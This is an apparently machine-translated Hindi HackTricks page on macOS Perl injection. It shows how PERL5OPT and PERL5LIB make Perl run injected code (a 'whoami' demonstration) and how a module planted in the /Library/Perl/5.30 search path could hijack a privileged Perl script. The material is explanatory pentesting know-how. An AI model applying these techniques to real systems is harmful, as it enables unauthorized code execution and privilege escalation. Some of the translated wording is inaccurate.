macOS Perl Applications Injection

AWS हैकिंग सीखें और प्रैक्टिस करें: HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE) GCP हैकिंग सीखें और प्रैक्टिस करें: HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)

हैकट्रिक्स का समर्थन करें

PERL5OPT और PERL5LIB env वेरिएबल के माध्यम से

PERL5OPT एनवायरनमेंट वेरिएबल का उपयोग करके पर्ल को विभिन्न कमांड्स को निषेध करने की संभावना है। उदाहरण के लिए, इस स्क्रिप्ट को बनाएं:

test.pl
#!/usr/bin/perl
print "Hello from the Perl script!\n";

अब एनवी वेरिएबल निर्यात करें और पर्ल स्क्रिप्ट को चलाएं:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

एक और विकल्प है कि एक Perl मॉड्यूल बनाया जाए (उदा। /tmp/pmod.pm):

/tmp/pmod.pm
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

और फिर env variables का उपयोग करें:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

वाया निर्भरता

Perl चल रहे dependencies फ़ोल्डर क्रम की सूची बनाना संभव है:

perl -e 'print join("\n", @INC)'

कुछ इस प्रकार की चीज वापस देगा:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

कुछ वापसी फोल्डर मौजूद भी नहीं हैं, हालांकि, /Library/Perl/5.30 मौजूद है, यह SIP द्वारा सुरक्षित नहीं है और यह SIP द्वारा सुरक्षित फोल्डरों से पहले है। इसलिए, कोई व्यक्ति उस फोल्डर का दुरुपयोग करके वहाँ स्क्रिप्ट डिपेंडेंसी जोड़ सकता है ताकि एक उच्च विशेषाधिकार Perl स्क्रिप्ट इसे लोड करें।

हालांकि, ध्यान दें कि आपको उस फोल्डर में लिखने के लिए रूट होना चाहिए और आजकल आपको यह TCC प्रॉम्प्ट मिलेगा:

उदाहरण के लिए, अगर एक स्क्रिप्ट use File::Basename; को आयात कर रहा है तो /Library/Perl/5.30/File/Basename.pm बनाना संभव होगा ताकि इसे विचारशील कोड चलाने के लिए।

संदर्भ

Last updated